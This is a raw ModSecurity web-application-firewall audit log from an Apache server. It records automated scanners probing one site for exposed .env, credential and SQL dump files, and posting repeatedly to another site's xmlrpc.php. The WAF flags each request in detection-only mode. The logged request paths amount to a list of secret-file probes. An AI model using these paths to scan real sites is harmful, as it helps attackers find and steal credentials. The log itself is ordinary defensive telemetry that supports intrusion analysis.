"/sales.sql"] [unique_id "aE8xwlfWRcme38U-qk7oPQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020546063317 669574 (- - -) Stopwatch2: 1750020546063317 669574; combined=1841, p1=340, p2=1407, p3=0, p4=0, p5=94, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8078073-Z-- --e8c6b212-A-- [16/Jun/2025:02:19:25.759677 +0530] aE8x1VfWRcme38U-qk7oRQAAAAI 185.177.72.210 51412 127.0.0.1 7081 --e8c6b212-B-- GET /:5000/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8c6b212-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=675a1dd0c85e134bdf6e792cdda4133f1750020565; expires=Sun, 15 Jun 2025 21:49:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8c6b212-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/wp-content/.env"] [unique_id "aE8x1VfWRcme38U-qk7oRQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020565074938 684825 (- - -) Stopwatch2: 1750020565074938 684825; combined=1950, p1=384, p2=1471, p3=0, p4=0, p5=94, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8c6b212-Z-- --47687257-A-- [16/Jun/2025:02:19:35.984180 +0530] aE8x3yHEjD4mqWjYVm13yAAAABM 185.177.72.210 40182 127.0.0.1 7081 --47687257-B-- GET /pt8/library-backend-gql/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --47687257-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a8f5e097f732d02fb36ec6fd6c39a4a1750020575; expires=Sun, 15 Jun 2025 21:49:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --47687257-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/pt8/library-backend-gql/.env"] [unique_id "aE8x3yHEjD4mqWjYVm13yAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020575309228 675014 (- - -) Stopwatch2: 1750020575309228 675014; combined=1949, p1=388, p2=1484, p3=0, p4=0, p5=76, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47687257-Z-- --12200844-A-- [16/Jun/2025:02:19:45.037836 +0530] aE8x6M0RsCO0eBtdhx6_IQAAAAg 185.177.72.210 39408 127.0.0.1 7081 --12200844-B-- GET /:5000/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12200844-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c524253d6a54a32700a7b7f4e4c02c6a1750020584; expires=Sun, 15 Jun 2025 21:49:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12200844-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/staging2/.env"] [unique_id "aE8x6M0RsCO0eBtdhx6_IQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020584368325 669615 (- - -) Stopwatch2: 1750020584368325 669615; combined=1914, p1=373, p2=1418, p3=0, p4=0, p5=122, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12200844-Z-- --c34f4830-A-- [16/Jun/2025:02:19:46.679841 +0530] aE8x6TW73rwPI0SU-ijurwAAAAA 128.199.112.101 39478 127.0.0.1 7081 --c34f4830-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c34f4830-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c34f4830-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8x6TW73rwPI0SU-ijurwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020585710515 969404 (- - -) Stopwatch2: 1750020585710515 969404; combined=2377, p1=393, p2=1495, p3=65, p4=78, p5=218, sr=125, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c34f4830-Z-- --0c24260e-A-- [16/Jun/2025:02:20:09.207563 +0530] aE8yAGBSQiWwwCa-v2QCkwAAAAQ 185.177.72.210 42498 127.0.0.1 7081 --0c24260e-B-- GET /.env.production.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c24260e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90648a5e67763f7e3b07c52ce5090f2e1750020609; expires=Sun, 15 Jun 2025 21:50:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c24260e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production.local"] [unique_id "aE8yAGBSQiWwwCa-v2QCkwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020608546897 660734 (- - -) Stopwatch2: 1750020608546897 660734; combined=1799, p1=404, p2=1278, p3=0, p4=0, p5=117, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c24260e-Z-- --c0983153-A-- [16/Jun/2025:02:20:10.209428 +0530] aE8yAU-pZ3B--SoGku84cQAAABE 185.177.72.210 45796 127.0.0.1 7081 --c0983153-B-- GET /micro-app-react-communication/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0983153-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6aef1625e1e86d7860ad5be66c678241750020610; expires=Sun, 15 Jun 2025 21:50:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0983153-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/micro-app-react-communication/.env"] [unique_id "aE8yAU-pZ3B--SoGku84cQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020609533522 675981 (- - -) Stopwatch2: 1750020609533522 675981; combined=1679, p1=368, p2=1203, p3=0, p4=0, p5=107, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0983153-Z-- --2c5e3b33-A-- [16/Jun/2025:02:20:13.195742 +0530] aE8yBDW73rwPI0SU-ijuuwAAAAA 185.177.72.210 45938 127.0.0.1 7081 --2c5e3b33-B-- GET /wp-content/uploads/dump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c5e3b33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b425ea054c5c7f13185e7f8ede4859331750020613; expires=Sun, 15 Jun 2025 21:50:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c5e3b33-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-content/uploads/dump.sql"] [unique_id "aE8yBDW73rwPI0SU-ijuuwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020612543097 652773 (- - -) Stopwatch2: 1750020612543097 652773; combined=1972, p1=340, p2=1497, p3=0, p4=0, p5=134, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c5e3b33-Z-- --e6bb7c27-A-- [16/Jun/2025:02:20:22.677936 +0530] aE8yDs0RsCO0eBtdhx6_MQAAAAg 185.177.72.210 55548 127.0.0.1 7081 --e6bb7c27-B-- GET /webroot_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e6bb7c27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0e86a21ad45e85ce4d54190471fdf081750020622; expires=Sun, 15 Jun 2025 21:50:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e6bb7c27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/webroot_path/.env"] [unique_id "aE8yDs0RsCO0eBtdhx6_MQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020622004509 673489 (- - -) Stopwatch2: 1750020622004509 673489; combined=2009, p1=467, p2=1435, p3=0, p4=0, p5=106, sr=135, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6bb7c27-Z-- --4409d879-A-- [16/Jun/2025:02:20:29.933188 +0530] aE8yFSHEjD4mqWjYVm134wAAABM 185.177.72.210 55864 127.0.0.1 7081 --4409d879-B-- GET /pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4409d879-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d48ea9c02d1fd7a50325d8b7778b075e1750020629; expires=Sun, 15 Jun 2025 21:50:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4409d879-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/pub/.env"] [unique_id "aE8yFSHEjD4mqWjYVm134wAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020629224216 709035 (- - -) Stopwatch2: 1750020629224216 709035; combined=1933, p1=385, p2=1433, p3=0, p4=0, p5=114, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4409d879-Z-- --2c472951-A-- [16/Jun/2025:02:20:33.039290 +0530] aE8yGIl8S04UZ4l67-nYywAAAAk 185.177.72.210 36294 127.0.0.1 7081 --2c472951-B-- GET /:5601/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c472951-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=51baa34161e1e14305c32118930037491750020632; expires=Sun, 15 Jun 2025 21:50:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c472951-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.docker/.env"] [unique_id "aE8yGIl8S04UZ4l67-nYywAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020632364575 674806 (- - -) Stopwatch2: 1750020632364575 674806; combined=2065, p1=465, p2=1486, p3=0, p4=0, p5=113, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c472951-Z-- --12c6e426-A-- [16/Jun/2025:02:20:34.011518 +0530] aE8yGVfWRcme38U-qk7oagAAAAI 185.177.72.210 36336 127.0.0.1 7081 --12c6e426-B-- GET /credentials/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12c6e426-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2884e331a7c37007606acfc4a6993cd1750020633; expires=Sun, 15 Jun 2025 21:50:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12c6e426-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/private/.env.local"] [unique_id "aE8yGVfWRcme38U-qk7oagAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020633361706 649876 (- - -) Stopwatch2: 1750020633361706 649876; combined=2072, p1=429, p2=1547, p3=0, p4=0, p5=96, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12c6e426-Z-- --ba329420-A-- [16/Jun/2025:02:20:46.829099 +0530] aE8yJdxCjYf3vhjKXItvEAAAAA8 128.199.112.101 46612 127.0.0.1 7081 --ba329420-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ba329420-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ba329420-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8yJdxCjYf3vhjKXItvEAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020645836479 992675 (- - -) Stopwatch2: 1750020645836479 992675; combined=2088, p1=380, p2=1350, p3=41, p4=52, p5=164, sr=104, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba329420-Z-- --56520f28-A-- [16/Jun/2025:02:21:03.539134 +0530] aE8yNmBSQiWwwCa-v2QCqwAAAAQ 185.177.72.210 58404 127.0.0.1 7081 --56520f28-B-- GET /:8000/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --56520f28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4cc5fcdef21bc001857752928e6813a1750020663; expires=Sun, 15 Jun 2025 21:51:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --56520f28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/web/.env"] [unique_id "aE8yNmBSQiWwwCa-v2QCqwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020662886809 652387 (- - -) Stopwatch2: 1750020662886809 652387; combined=1938, p1=401, p2=1452, p3=0, p4=0, p5=85, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56520f28-Z-- --390f3d13-A-- [16/Jun/2025:02:21:08.713448 +0530] aE8yPE-pZ3B--SoGku84iwAAABE 185.177.72.210 58638 127.0.0.1 7081 --390f3d13-B-- GET /settings/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --390f3d13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: 